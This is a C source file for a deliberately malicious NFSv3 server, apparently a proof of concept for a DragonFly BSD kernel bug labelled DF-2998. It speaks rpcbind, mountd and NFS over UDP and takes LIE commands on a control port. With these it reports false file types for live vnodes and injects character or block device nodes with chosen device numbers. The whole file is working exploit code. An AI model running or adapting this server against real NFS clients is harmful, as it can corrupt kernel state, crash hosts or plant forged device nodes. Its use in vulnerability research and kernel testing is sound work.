/*
 * fakesrv2998.c - malicious/lying NFSv3 attribute server for DF-2998
 *                 (nfs_loadattrcache retypes live vnodes)
 *
 * Speaks just enough SUNRPC/UDP for the DragonFly in-kernel NFS client:
 *   - rpcbind (prog 100000 v2/v3) on 111 -> mountd/nfs ports
 *   - mountd  (prog 100005 v3)   on 779  -> MNT "/" -> root fh
 *   - nfs     (prog 100003 v3)   on 2049
 *   - CONTROL (plain UDP text)   on 7798  <- test driver flips per-fh lies
 *
 * Object model:
 *   fh_root 'A'*32 : export root DIRECTORY (0777)
 *   fh_file 'B'*32 : regular file "f" (created on demand)
 *   fh_big  'C'*32 : directory "big" with a large finite entry list
 *                    (READDIR/READDIRPLUS past 4KiB -> client caches
 *                     nfsdmap cookie blocks on the big node)
 *
 * Every attribute-bearing reply (GETATTR result, LOOKUP/ACCESS post-op
 * attrs, READDIRPLUS dir attrs, CREATE/MKDIR results) consults the
 * per-fh LIE table, so a single GETATTR after the client's attribute
 * cache expires applies the lie through nfs_loadattrcache()
 * (sys/vfs/nfs/nfs_subs.c:718-731) -- the DF-2998 engine.
 *
 * Control protocol (UDP :7798, text, one command per datagram):
 *   LIE <fhname> <REG|DIR|BLK|CHR|FIFO> [major minor]
 *   RESET
 * e.g.  "LIE file DIR"           -> retype live VREG vnode "f" to VDIR
 *       "LIE file CHR 8 0x1e110007" -> inject a character device node
 *       "LIE big REG"            -> retype cookie-cached VDIR to VREG
 *
 * env: VERBOSE=1 dump every request
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT_PMAP  111
#define PORT_MNTD  779
#define PORT_NFS   2049
#define PORT_CTRL  7798

#define PROG_PMAP  100000
#define PROG_MNTD  100005
#define PROG_NFS   100003

#define NFS3_NULL     0
#define NFS3_GETATTR  1
#define NFS3_SETATTR  2
#define NFS3_LOOKUP   3
#define NFS3_ACCESS   4
#define NFS3_READ     6
#define NFS3_WRITE    7
#define NFS3_CREATE   8
#define NFS3_MKDIR    9
#define NFS3_REMOVE  12
#define NFS3_RMDIR   13
#define NFS3_RENAME  14
#define NFS3_READDIR 16
#define NFS3_RDRPLUS 17
#define NFS3_FSSTAT  18
#define NFS3_FSINFO  19

/* nfstype3 */
#define NF3REG 1
#define NF3DIR 2
#define NF3BLK 3
#define NF3CHR 4
#define NF3FIFO 5

static int verbose;

static unsigned char req[65536];
static unsigned char rep[65536];
static int rlen;

static void put32(u_int32_t v)
{
	rep[rlen++] = v >> 24; rep[rlen++] = v >> 16;
	rep[rlen++] = v >> 8;  rep[rlen++] = v;
}
static void puthyper(u_int64_t v) { put32(v >> 32); put32((u_int32_t)v); }
static void put64(u_int64_t v) { puthyper(v); }
static void putbytes(const void *p, int n) { memcpy(rep + rlen, p, n); rlen += n; }
static void pad4(int n) { while (n & 3) { rep[rlen++] = 0; n++; } }
static void putstr(const char *s) {
	int n = strlen(s);
	put32(n); putbytes(s, n); pad4(n);
}
static void putopaque(const void *p, int n) {
	put32(n); putbytes(p, n); pad4(n);
}
static u_int32_t get32(const unsigned char *p)
{
	return ((u_int32_t)p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3];
}

/* ---- filehandles and the per-fh LIE table ---- */
static unsigned char fh_root[32], fh_file[32], fh_big[32];

enum { FH_ROOT, FH_FILE, FH_BIG, FH_N };
struct lie {
	int   on;			/* lie active */
	int   type;			/* nfstype3 to report */
	int   rmajor, rminor;		/* rdev to report       */
} lies[FH_N];

static int file_created;	/* CREATE("f") seen */
static int big_created;		/* MKDIR("big") seen */

static void fh_init(void)
{
	memset(fh_root, 'A', sizeof(fh_root));
	memset(fh_file, 'B', sizeof(fh_file));
	memset(fh_big,  'C', sizeof(fh_big));
}

static int fh_idx(const unsigned char *p, int len)
{
	if (len != 32)
		return (-1);
	if (!memcmp(p, fh_root, 32)) return (FH_ROOT);
	if (!memcmp(p, fh_file, 32)) return (FH_FILE);
	if (!memcmp(p, fh_big,  32)) return (FH_BIG);
	return (-1);
}

/* attribute ftype/rdev for a fh, honoring the lie */
static int attr_type(int idx)
{
	if (idx >= 0 && lies[idx].on)
		return (lies[idx].type);
	return (idx == FH_ROOT || idx == FH_BIG) ? NF3DIR : NF3REG;
}
static void attr_rdev(int idx, int *maj, int *min)
{
	*maj = *min = 0;
	if (idx >= 0 && lies[idx].on) {
		*maj = lies[idx].rmajor;
		*min = lies[idx].rminor;
	}
}

/* build one fattr3 (21 words) */
static void put_fattr(int idx, u_int32_t mode, u_int32_t fileid,
		      u_int64_t size, u_int32_t nlink)
{
	int maj, min;
	attr_rdev(idx, &maj, &min);
	put32(attr_type(idx));		/* ftype */
	put32(mode);			/* mode */
	put32(nlink);			/* nlink */
	put32(0);			/* uid */
	put32(0);			/* gid */
	put64(size);			/* size */
	put64(size + 4096);		/* used */
	put32(maj); put32(min);		/* rdev specdata1/2 */
	put64(0x1234);			/* fsid */
	put64(fileid);			/* fileid */
	put32(0x5a5a0000); put32(0);	/* atime */
	put32(0x5a5a0001); put32(0);	/* mtime */
	put32(0x5a5a0002); put32(0);	/* ctime */
}

static void put_postopattr(int idx, u_int32_t mode, u_int32_t fileid,
			   u_int64_t size, u_int32_t nlink)
{
	put32(1);
	put_fattr(idx, mode, fileid, size, nlink);
}
static void put_wcc_none(void) { put32(0); put32(0); }

static void reply_hdr(u_int32_t xid)
{
	rlen = 0;
	put32(xid);
	put32(1);		/* REPLY */
	put32(0);		/* MSG_ACCEPTED */
	put32(0); put32(0);	/* verifier NULL */
	put32(0);		/* accept_stat = SUCCESS */
}

struct call {
	u_int32_t xid, prog, vers, proc;
	const unsigned char *args;
	int alen;
};

static int parse_call(int len, struct call *c)
{
	const unsigned char *p = req;
	u_int32_t mtype, credlen, verflen;
	int off;

	if (len < 28)
		return -1;
	c->xid   = get32(p + 0);
	mtype    = get32(p + 4);
	if (mtype != 0)
		return -1;
	c->prog  = get32(p + 12);
	c->vers  = get32(p + 16);
	c->proc  = get32(p + 20);
	off = 24;
	if (off + 8 > len) return -1;
	credlen = get32(p + off + 4);
	off += 8 + ((credlen + 3) & ~3);
	if (off + 8 > len) return -1;
	verflen = get32(p + off + 4);
	off += 8 + ((verflen + 3) & ~3);
	if (off > len) return -1;
	c->args = p + off;
	c->alen = len - off;
	return 0;
}

static int arg_fh(const unsigned char *a, int *off, int alen,
		  const unsigned char **fhpp)
{
	int n;
	if (*off + 4 > alen) return -1;
	n = (int)get32(a + *off);
	*off += 4;
	if (n < 0 || n > 64 || *off + n > alen) return -1;
	*fhpp = a + *off;
	*off += n + ((4 - (n & 3)) & 3);
	return n;
}

static void arg_str(const unsigned char *a, int *off, int alen,
		    char *out, int outmax)
{
	int n;
	if (*off + 4 > alen) { out[0] = 0; return; }
	n = (int)get32(a + *off);
	*off += 4;
	if (n < 0 || n > outmax - 1 || *off + n > alen) { out[0] = 0; return; }
	memcpy(out, a + *off, n);
	out[n] = 0;
	*off += n + ((4 - (n & 3)) & 3);
}

static void handle_pmap(struct call *c, struct sockaddr_in *from, int s)
{
	u_int32_t prog, port = 0;

	if (c->vers == 2 && c->proc == 3) {
		prog = get32(c->args + 0);
		if (prog == PROG_MNTD) port = PORT_MNTD;
		else if (prog == PROG_NFS) port = PORT_NFS;
		reply_hdr(c->xid);
		put32(port);
	} else {
		reply_hdr(c->xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose) fprintf(stderr, "pmap v%u p%u -> %u bytes\n",
			     c->vers, c->proc, rlen);
}

static void handle_mntd(struct call *c, struct sockaddr_in *from, int s)
{
	if (c->proc == 0) {
		reply_hdr(c->xid);
	} else if (c->proc == 1) {
		reply_hdr(c->xid);
		put32(0);			/* ok */
		putopaque(fh_root, 32);
		put32(1); put32(1);		/* AUTH_SYS */
	} else {
		reply_hdr(c->xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
}

/*
 * "big" directory: 500 entries (~10 per 4KiB block... enough that a
 * full ls walks many NFS_DIRBLKSIZ blocks) so the client caches
 * nfsdmap cookie blocks on the big node.
 */
#define BIG_NENT 500

static void handle_nfs(struct call *c, struct sockaddr_in *from, int s)
{
	const unsigned char *fh;
	int off = 0, fhlen, idx;
	char name[256];

	reply_hdr(c->xid);

	switch (c->proc) {
	case NFS3_NULL:
		break;

	case NFS3_GETATTR:
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		idx = fh_idx(fh, fhlen);
		put32(0);
		if (idx == FH_ROOT)
			put_fattr(idx, 0777, 1, 4096, 3);
		else if (idx == FH_BIG)
			put_fattr(idx, 0777, 3, 512 * 1024, 2);
		else
			put_fattr(idx, 0666, 2, 4096, 1);
		if (verbose)
			fprintf(stderr, "GETATTR fh%d type=%d%s\n", idx,
				attr_type(idx),
				(idx >= 0 && lies[idx].on) ? " (LIE)" : "");
		break;

	case NFS3_SETATTR:
		put32(0);
		put_wcc_none();
		break;

	case NFS3_ACCESS:
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		idx = fh_idx(fh, fhlen);
		put32(0);
		put_postopattr(idx,
		    (idx == FH_ROOT || idx == FH_BIG) ? 0777 : 0666,
		    idx == FH_BIG ? 3 : (idx == FH_ROOT ? 1 : 2), 4096,
		    (idx == FH_ROOT) ? 3 : 1);
		put32(0x3f);
		if (verbose)
			fprintf(stderr, "ACCESS fh%d type=%d%s\n", idx,
				attr_type(idx),
				(idx >= 0 && lies[idx].on) ? " (LIE)" : "");
		break;

	case NFS3_LOOKUP: {
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name, sizeof(name));
		if (verbose) fprintf(stderr, "LOOKUP(%s)\n", name);
		if (strcmp(name, "f") == 0) {
			if (!file_created) {
				put32(2);		/* NOENT */
				put_postopattr(FH_ROOT, 0777, 1, 4096, 3);
			} else {
				put32(0);
				putopaque(fh_file, 32);
				put_postopattr(FH_FILE, 0666, 2, 4096, 1);
				put_postopattr(FH_ROOT, 0777, 1, 4096, 3);
			}
		} else if (strcmp(name, "big") == 0) {
			if (!big_created) {
				put32(2);
				put_postopattr(FH_ROOT, 0777, 1, 4096, 3);
			} else {
				put32(0);
				putopaque(fh_big, 32);
				put_postopattr(FH_BIG, 0777, 3,
					       512 * 1024, 2);
				put_postopattr(FH_ROOT, 0777, 1, 4096, 3);
			}
		} else {
			put32(2);
			put_postopattr(FH_ROOT, 0777, 1, 4096, 3);
		}
		break;
	}

	case NFS3_CREATE:
		file_created = 1;
		put32(0);
		put32(0);		/* no fh follows */
		put32(0);		/* no attrs follow */
		put_wcc_none();
		break;

	case NFS3_MKDIR:
		big_created = 1;
		put32(0);
		put32(1);
		putopaque(fh_big, 32);
		put32(1);
		put_fattr(FH_BIG, 0777, 3, 512 * 1024, 2);
		put_wcc_none();
		break;

	case NFS3_REMOVE:
	case NFS3_RMDIR:
		put32(0);
		put_wcc_none();
		break;

	case NFS3_RENAME:
		put32(0);
		put_wcc_none();
		put_wcc_none();
		break;

	case NFS3_FSSTAT:
		put32(0);
		put_postopattr(FH_ROOT, 0777, 1, 4096, 3);
		put64(1 << 30); put64(1 << 30); put64(1 << 30);
		put32(0);
		break;

	case NFS3_FSINFO:
		put32(0);
		put_postopattr(FH_ROOT, 0777, 1, 4096, 3);
		put32(8192); put32(8192); put32(8192);
		put32(8192); put32(8192); put32(8192);
		put32(8192);
		put64((u_int64_t)1 << 40);
		put32(1); put32(0);
		put32(0x1f);
		break;

	case NFS3_READDIR:
	case NFS3_RDRPLUS: {
		u_int64_t cookie = 0;
		int i, nent, used = 0;

		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		idx = fh_idx(fh, fhlen);
		cookie = ((u_int64_t)get32(c->args + off) << 32)
			| get32(c->args + off + 4);
		i = (int)(cookie & 0xfffff);
		if (i < 0 || i > BIG_NENT)
			i = 0;
		nent = 400;
		if (i + nent > BIG_NENT)
			nent = BIG_NENT - i;
		put32(0);
		put_postopattr(idx < 0 ? FH_ROOT : idx, 0777,
		    idx == FH_BIG ? 3 : 1, 512 * 1024, 2);
		if (c->proc == NFS3_RDRPLUS) {
			put32(0); put32(0); put32(1);
		} else {
			put32(0); put32(0); put32(1);
		}
		{
			int next_fits;
			for (; i < BIG_NENT; i++) {
				char fn[32];
				u_int64_t ck = 0xAA00000000ULL
						| (u_int64_t)(i + 1);

				if (rlen + 200 > 7000)
					break;
				snprintf(fn, sizeof(fn), "e%05d", i);
				put64(1000 + i);
				putstr(fn);
				put64(ck);
				if (c->proc == NFS3_RDRPLUS) {
					put32(1);
					put_fattr(FH_FILE, 0644, 1000 + i,
						  0, 1);
					put32(0);
				}
				next_fits = (i + 1 < BIG_NENT) &&
					    (rlen + 200 <= 7000);
				put32(next_fits ? 1 : 0);
				used++;
				if (!next_fits) {
					i++;
					break;
				}
			}
			fprintf(stderr,
			    "[readdir fh%d: sent %d, next=%d eof=%d]\n",
			    idx, used, i, i >= BIG_NENT);
			put32(i >= BIG_NENT ? 1 : 0);
		}
		break;
	}

	case NFS3_READ:
		put32(0);
		put_postopattr(FH_FILE, 0666, 2, 4096, 1);
		put32(0);
		put32(1);
		putopaque("", 0);
		break;

	case NFS3_WRITE: {
		u_int32_t cnt = 0;

		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		/* args: fh, offset(8), count(4), ... */
		if (off + 12 <= c->alen)
			cnt = get32(c->args + off + 8);
		put32(0);
		put_wcc_none();
		put32(cnt);		/* echo the written count */
		put32(1);		/* committed FILE_SYNC */
		put64(0);		/* verf */
		break;
	}

	default:
		put32(2);		/* NOENT */
		break;
	}
	goto send;
bad:
	reply_hdr(c->xid);
	put32(10001);
send:
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose)
		fprintf(stderr, "nfs p%u -> %u bytes\n", c->proc, rlen);
}

static int type_from_name(const char *t)
{
	if (!strcmp(t, "REG"))  return (NF3REG);
	if (!strcmp(t, "DIR"))  return (NF3DIR);
	if (!strcmp(t, "BLK"))  return (NF3BLK);
	if (!strcmp(t, "CHR"))  return (NF3CHR);
	if (!strcmp(t, "FIFO")) return (NF3FIFO);
	return (-1);
}
static int fhid_from_name(const char *n)
{
	if (!strcmp(n, "root")) return (FH_ROOT);
	if (!strcmp(n, "file")) return (FH_FILE);
	if (!strcmp(n, "big"))  return (FH_BIG);
	return (-1);
}

static void handle_ctrl(char *msg, int len)
{
	char *cmd, *a1, *a2, *a3, *a4;
	int idx, ty;

	msg[len] = 0;
	while (len > 0 && (msg[len-1] == '\n' || msg[len-1] == '\r'))
		msg[--len] = 0;
	cmd = strtok(msg, " ");
	if (!cmd)
		return;
	if (!strcmp(cmd, "RESET")) {
		memset(lies, 0, sizeof(lies));
		fprintf(stderr, "[ctrl] RESET all lies\n");
		return;
	}
	if (strcmp(cmd, "LIE"))
		return;
	a1 = strtok(NULL, " ");
	a2 = strtok(NULL, " ");
	a3 = strtok(NULL, " ");
	a4 = strtok(NULL, " ");
	if (!a1 || !a2)
		return;
	idx = fhid_from_name(a1);
	ty = type_from_name(a2);
	if (idx < 0 || ty < 0)
		return;
	lies[idx].on = 1;
	lies[idx].type = ty;
	lies[idx].rmajor = (a3 && a4) ? (int)strtoul(a3, NULL, 0) : 0;
	lies[idx].rminor = (a3 && a4) ? (int)strtoul(a4, NULL, 0) : 0;
	fprintf(stderr, "[ctrl] LIE fh%d type=%d rdev=%d,%d\n",
		idx, ty, lies[idx].rmajor, lies[idx].rminor);
}

static int mkudp(int port)
{
	struct sockaddr_in sin;
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	int one = 1;
	if (s < 0) { perror("socket"); exit(1); }
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);
	sin.sin_port = htons(port);
	if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		fprintf(stderr, "bind port %d: %s\n", port, strerror(errno));
		exit(1);
	}
	return s;
}

int main(void)
{
	int sp, sm, sn, sc, max;
	fd_set rfds;
	struct call c;
	struct sockaddr_in from;
	socklen_t flen;

	verbose = getenv("VERBOSE") != NULL;
	fh_init();

	sp = mkudp(PORT_PMAP);
	sm = mkudp(PORT_MNTD);
	sn = mkudp(PORT_NFS);
	sc = mkudp(PORT_CTRL);
	max = sp; if (sm > max) max = sm; if (sn > max) max = sn;
	if (sc > max) max = sc;
	max++;

	fprintf(stderr,
	    "fakesrv2998: rpcbind:%d mountd:%d nfs:%d ctrl:%d "
	    "(lies start OFF)\n", PORT_PMAP, PORT_MNTD, PORT_NFS, PORT_CTRL);

	for (;;) {
		FD_ZERO(&rfds);
		FD_SET(sp, &rfds); FD_SET(sm, &rfds);
		FD_SET(sn, &rfds); FD_SET(sc, &rfds);
		if (select(max, &rfds, NULL, NULL, NULL) < 0) {
			if (errno == EINTR) continue;
			perror("select");
			return 1;
		}
		flen = sizeof(from);
		if (FD_ISSET(sp, &rfds)) {
			int n = recvfrom(sp, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_pmap(&c, &from, sp);
		}
		flen = sizeof(from);
		if (FD_ISSET(sm, &rfds)) {
			int n = recvfrom(sm, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_mntd(&c, &from, sm);
		}
		flen = sizeof(from);
		if (FD_ISSET(sn, &rfds)) {
			int n = recvfrom(sn, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_nfs(&c, &from, sn);
		}
		flen = sizeof(from);
		if (FD_ISSET(sc, &rfds)) {
			char cbuf[256];
			int n = recvfrom(sc, cbuf, sizeof(cbuf) - 1, 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0)
				handle_ctrl(cbuf, n);
		}
	}
	return 0;
}
